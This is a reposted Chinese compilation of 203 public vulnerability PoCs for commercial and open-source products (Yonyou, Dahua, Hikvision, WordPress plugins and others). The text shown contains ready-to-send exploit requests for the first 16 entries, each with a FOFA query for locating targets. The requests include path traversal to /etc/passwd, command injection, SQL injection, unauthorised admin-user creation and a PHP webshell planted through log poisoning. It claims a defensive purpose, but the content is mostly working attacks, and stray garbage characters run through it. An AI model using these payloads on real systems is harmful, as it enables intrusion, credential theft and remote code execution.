互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
- t  V. d; O- r& l/ l( p+ C% L- `以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
" ?; H- X4 B/ W; s
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
$ p) @2 j: @8 Z8 `8 n
0 d  b: F' ?! y) ]% K8 ]- C& d文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
. C" c* o) Z0 k- \7 j2 O; Y
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
* T4 @3 z) T$ p. Y" D9 f' V% h
$ @& G" x' w9 f+ s1 ~4 r
8 F# E6 p4 ?- I. ^4 l( g声明

' {! h  f) ~, \4 L! _为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
! \( q( R8 b2 v; s: x" w% i+ f& S
+ O0 A& v$ p; R  `: |- m- C有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
* v' G# s9 x+ }1 c
% {! e6 Z5 D( t! u+ z$ L% n' b

5 s! z! j6 ?4 ^# k( a( o目录

6 y9 j" k5 h8 I, `. S( }/ t5 o01

  Z8 X6 Y- C; f1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
8 i4 b! f2 ~" h# m( N5 M1 n) e3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
- f. R5 u! r0 `" i8. 斐讯 Phicomm 路由器RCE
, k5 ~2 A/ L% s: @9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
8 W$ g( d9 B# V11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
& y$ T1 U' c6 i! ^3 k; a14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
; g& k2 A1 ?& a; c6 H17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
& S7 y& c! x5 g! ^8 e9 B9 K1 G21. 大华ICC智能物联综合管理平台random远程代码执行
" \6 ]0 p1 M2 ?( b; v& g' a22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
0 V* }+ j4 l& d  p( j8 H% F25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
/ Z% A- z( S6 j: ?5 D! ~2 P8 S27. 用友 NC showcontent SQL注入
; P4 C+ Z: a, O7 g9 z28. 用友NC grouptemplet 任意文件上传
+ X+ P/ b9 l3 L8 y  j9 o# N29. 用友NC down/bill SQL注入
6 y' A2 }. s2 {! j8 x+ @  w30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
; Y) W$ H" I# |33. 用友NC downTax/download SQL注入
" X  B4 k! F4 x. C' j9 s34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
* g* K9 _4 ^2 \+ l, g. j$ W37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
6 o* o; T8 f: R  Q& {39. 用友U8 Cloud RegisterServlet SQL注入
9 o( h6 g% e' E8 `% |40. 用友U8-Cloud XChangeServlet XXE
* y9 d; l1 m7 z* Z7 ?41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
' X/ H9 R" y& _44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
3 }, U1 @9 S$ L) j3 N46. 用友GRP-U8 sqcxIndex.jsp SQL注入
/ O! s/ K' Y( c. D" G; }$ L4 T47. 用友GRP A++Cloud 政府财务云 任意文件读取
9 Y5 v0 Q) L9 O" ?: g  T48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
# i4 I2 M4 U! N/ R0 O" Y53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
. ^1 F% S" A" n% X2 s0 L56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
) c% J& B3 o: n, L: `. c" o3 K60. 百卓Smart管理平台 importexport.php SQL注入
' c5 b  X) ?, N' o9 J61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
% H  N& B1 m1 [$ E% [62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( T( \8 v+ v1 D' M: R- B8 x0 K) t65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
( b0 d' e7 l! E8 J* X; Y1 c' E67. 万户ezOFFICE wpsservlet任意文件上传
  {& Y* }/ T7 V6 p9 {68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
/ u$ Z, I. o$ O0 Z1 ~- `. T70. 万户ezEIP success 命令执行
4 i& V) a+ W  f+ g71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
0 x  v$ L# o7 n; _/ l# G74. 致远M3-server 6_1sp1 反序列化RCE
& p6 Y( b0 b+ W75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
+ V. r& x% W& B6 A3 j6 I79. BYTEVALUE 百为流控路由器远程命令执行
9 Y9 _4 d% B5 U80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
, p6 K' _' H! x4 w) y9 l81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
7 W: C5 ^$ a2 H. J5 H% [- V82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
4 j2 ~; F4 z; p5 M6 `' F7 ~& o( }83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
* D1 m, W/ F8 s9 H. B' T/ H0 {& P87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
+ `$ A/ K0 y8 [2 |- c- H7 u90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
+ w/ S$ M  V" \% Q+ G. ?91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
: H9 R( M& _4 ?0 L93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
' D9 Y2 l! H+ b7 r( s94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
' K% q! ~7 }: z- l! V95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
( J8 R) u4 ]. O  U4 C; e) e  R) T- p96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
8 U9 e2 a3 }0 }  q9 z0 p) H# N99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
7 Q9 [7 m* X6 J3 p( G102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
% F. a1 K0 n7 [9 W/ l104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
4 N) q: u, C: V4 D+ t, f  @106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
% d/ \0 P3 X3 I" E) a! ]% x108. D-Tale 3.9.0 SSRF
: Y2 ]4 F$ t  L9 e109. Jenkins CLI 任意文件读取
" p: ?: d4 @6 e110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
6 |! N/ A; L, U. w8 y114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
: j2 Y, N: a1 B5 L( E$ `116. wordpress js-support-ticket文件上传
' N% H9 F- R" [117. WordPress LayerSlider插件SQL注入
* F9 F2 F/ O/ _0 A118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
# |* A3 y; x( T4 \* H121. 北京百绰智能S42管理平台userattestation.php任意文件上传
! V' r+ e; m) F5 ]122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
9 Z) k7 h$ o$ i% F& j124. 湖南建研工程质量检测系统任意文件上传
3 X) C7 n! g( W# l6 J# e3 f* X. E125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
  T) n& U* K1 m, m$ D127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
" q+ b$ A6 E/ e# g) p7 j+ T133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
8 U( [' ^+ o7 {( `- f3 E0 j136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
6 c5 t5 [% u& D139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
6 p4 k' F- K& V143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
2 _, k+ Y  ~$ f# `147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
3 }4 f+ j  K% y/ \) I) \& N150. AJ-Report 1.4.0 认证绕过与远程代码执行
2 [. ^! r1 N1 @7 h5 ^) ^3 P151. AJ-Report 1.4.1 pageList sql注入
# q) Y0 K. F* y3 S: L0 j6 p152. Progress Kemp LoadMaster 远程命令执行
+ b/ [$ I3 y# z$ M; n2 c0 U153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
7 N9 f: y( d1 A( _+ ?159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
  N' s" T% i2 `# h6 }. o7 g160. Sonatype Nexus Repository 3目录遍历与文件读取
7 q0 j! o0 o" f161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
/ ^- s9 v" f0 R8 c* Y163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
: D1 E# j/ X! @" @7 i164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
- ~- s! I: Q; F3 I, D1 _166. 中成科信票务管理平台SeatMapHandler SQL注入
% w, l6 ~6 u* L- f# k, K4 q4 p167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
, x3 }; ~4 M. L0 k* {+ l171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
. l! }# Y9 S# {9 C6 U) t176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
" [% ~0 O2 w" `- {) T, [178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
5 J  ?- f3 c- G- D; S1 \" Q# u180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
+ W& G2 h0 x+ U2 S182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
& p5 H6 _% B5 Y: L6 S* c+ Z$ t184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
! I) J( P! }$ L" a7 t5 a- y2 }185. 瑞友天翼应用虚拟化系统SQL注入
! t8 A' ]$ E& S9 ^& u, @186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
3 y2 e+ a' @8 p* [188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" P$ g; m5 ?. m+ @* y' e. Q194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
1 z/ ~* e, r( q$ U195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
% n( |7 U" t* k! F" f' G198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
) O: `7 d# |: I: J, W) ~202. 微擎系统 AccountEdit任意文件上传
* z% q9 s; R+ h' R, \; x203. 红海云EHR PtFjk 文件上传
7 l6 o1 g4 J$ W5 Z
POC列表

- s" H  a; E8 m8 R/ V02

1. StarRocks MPP数据库未授权访问
8 b. W2 I5 v: @7 \! ^- nFOFA ：title="StarRocks"
* `( C1 }! o' o% i; cGET /mem_tracker HTTP/1.1
Host: URL
. v2 `6 A- `7 m8 s1 C; v" U6 W

2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
1 f/ D5 a- Q& ^+ F4 oHost: xx.xx.xx.xx:9999
( S# U: d! Y7 \3 Y( `% g: F5 hUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
% v: W7 |  T; H' ]1 m  IAccept: */*
Accept-Language: en
" R# `9 f0 i6 S1 q: pAccept-Encoding: gzip
  B" ?1 i6 D# R2 p  o7 u- S# X
8 B: a; X/ G. e9 S7 W+ `' u
) h) _! o' z9 N8 h3. EasyCVR智能边缘网关 userlist 信息泄漏
; H$ F5 |8 \& h! B( IFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
. {# K0 H( ^4 J! f8 U1 UHost: xx.xx.xx.xx


! ], W# q, v" l, T$ @# t$ A9 S4. EasyCVR视频管理平台存在任意用户添加
: e/ T' v1 z2 ?8 _" I/ o: GFOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
7 c9 l: X9 k" c$ }# W' o5 C  rContent-Type: application/x-www-form-urlencoded; charset=UTF-8
5 T1 I9 c4 M# V+ b1 A& W( e
# A. v9 E$ a# o! D; ]name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
* `0 r: F. _8 G/ X. r# q4 l+ o. FFOFA：title="Network Video Recorder Login"
  a/ t* P( u0 i) U  x! X/ h7 K# fGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
4 N  ]$ J  }! f5 s) \

* J# p: O: R- V" H+ Y6. 深信服 NGAF 任意文件读取
1 ^: @1 V* U$ y  Q6 GFOFA：title="SANGFOR | NGAF"
7 o6 Q- p4 I  X3 e8 wGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
: Z- o0 c8 z4 e. HHost:

# E$ ^; y6 t4 ]. \9 C7 A/ t
! i7 d( j; N! j9 I4 J6 M7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
' q% e6 p& r  M  E3 g! v4 iHost:

* ]$ r! r' @- n8 M7 a+ |% n
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
. d, O$ P$ N% X# i( C; v. x9 h2 c3 J默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
, G. x0 b+ r/ ?' _) E( pHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
( c) j5 R7 N1 y& hContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
3 G( ]9 [# P3 f! Q1 Q  XUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) p2 K: d1 @) q
/ W! N0 ?; P1 @: ]------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
, l. b$ H- f% n: F! g
7 s1 O3 V8 G  M6 q' ^  s' h%s
& o6 G% t) H  Y  [. I: N* o------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
7 U7 d/ l! }* S! j* N- p
9 y8 B" h+ G: C- X5 ^12:00; id;
# P+ W1 G7 X- ~; T& x------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

3 V0 Q0 z  x% S" ~* H, D' Z%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
$ _- e' `& ~/ F# N0 U8 U. L9 L
! ?& l6 c8 Z% `( ?7 i  f, A. G
7 }3 Y1 O( y- o/ R1 m+ Q------WebKitFormBoundaryxbgjoytz--

9 Q, R2 N3 o( b0 F
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
1 M: ]9 y7 p: F4 J

0 G% c9 v, R/ Apayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
7 v3 m# t  f2 t* |& `
- l! T3 e0 o3 }. f10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
8 U$ Z8 O- U5 A) E- xFOFA：icon_hash="953405444"
. w; _2 {' H1 [9 Q
1 ?3 K: i/ _% w7 v6 l% o文件上传后响应中包含上传文件的路径
# _! t4 j' c# z1 t) lPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
8 i. ]* x5 O+ i: ~  b, MContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  P" S$ h" a0 o: ^& h5 IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 v, g" _, r, hConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
# n6 X% ^2 K5 _5 `* `
$ @" G% n, L- G$ p9 o; S------WebKitFormBoundaryxdgaqmqu
% ~9 a& o$ s3 T% ?- FContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
$ `; w1 ?6 W/ D8 y  S
jmnqjfdsupxgfidopeixbgsxbf
- B7 m# R8 G, u8 }------WebKitFormBoundaryxdgaqmqu--
( H' p% b5 E0 S0 B! W
( B% W7 A7 g, _) x: N
+ h5 ~* g# r# x. `  I5 p0 V) y11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
- u; F, E3 u6 l! J8 O% eHost: 127.0.0.1
Pragma: no-cache
0 W( B, t  D# N1 `$ W; ^Cache-Control: no-cache
% x. H- F- I7 }$ vUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' |( Q8 @$ f3 ]; V- G# Z/ z, s" ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ u9 g8 e- X) h1 W. Z/ `* ]3 cAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
+ E0 i, U0 V! t7 eConnection: close
9 q7 |- A$ w" y" B, q! c
# G( `: G, z5 F. ?
; Y- O+ k$ E# [) F& {1 W& e% p12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
+ U% @+ w' e. `# `8 Y* u第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
+ m1 a* F4 M; _) M$ eConnection: close
Accept-Encoding: gzip


7 T( [6 u! ?6 c. _- \' t8 S/ c9 B$ y响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
, k3 \2 L2 K- u- OConnection: close
6 ~4 @5 J! Y/ c. X3 S; @1 vCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
$ M3 ^+ r1 O" ~+ rDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
8 {: q8 Y6 z, p& cPragma: no-cache
Server: Apache/2.4.54 (Debian)
: T; }. X; m% w. n5 Y$ n) z. t9 g# z! e% nSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
6 `% z6 A9 b5 j& mSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
5 Z1 O8 `/ r4 V+ b4 L: a

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
+ d, o" n! `( W# GHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
* _4 b5 }2 q4 }" K/ s) d- M0 KContent-Length: 252
Content-Type: application/x-www-form-urlencoded
0 J4 \, c' ~, V9 b5 |. ^Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

1 w/ M. J" n/ E1 k" X* B/ Ucsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

) d/ V. j- U% v

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
6 T# z' ~/ r8 WGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
$ z$ W$ u% D+ C3 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
! Z% ]) g. k- ^& N( w) L# D' RCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
3 N2 L5 p7 A( S7 X9 A. xK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
/ B) n: O, Z% E5 J/ {7 xX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
* q2 n, n$ L0 ?6 q# W

' d  X+ c  ~/ p9 s7 q) ]  A9 }13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  R7 `! Y9 X. U7 oConnection: close
, D8 c$ }9 h9 z: `Accept: */*
Accept-Encoding: gzip
+ L/ D1 o( {: \. f" T

14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
& w& R  {; R" k5 L6 ^, x, x- \# Y% l$ nHost: x.x.x.x
, x6 C3 C$ D; }/ J! xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
! }; v, `4 ^& E" l  _' xAccept: */*
Accept-Language: en
4 L1 J3 D# |5 f! CAccept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
CVE-2024-0490
' F1 B$ Z. m8 [6 IFOFA：body="jshERP-boot"
泄露内容包括用户名密码
1 a1 r% @  {4 X( m7 F, vGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
' i2 d5 j* g7 Q2 n5 b# f" B4 Q
8 i$ `/ f  j2 o- W3 z
16.  红帆HFOffice医微云SQL注入
: ]6 `  w" r5 _7 `3 j7 eFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
: Y) r, [3 _8 ^" w' R4 b& [% ^GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
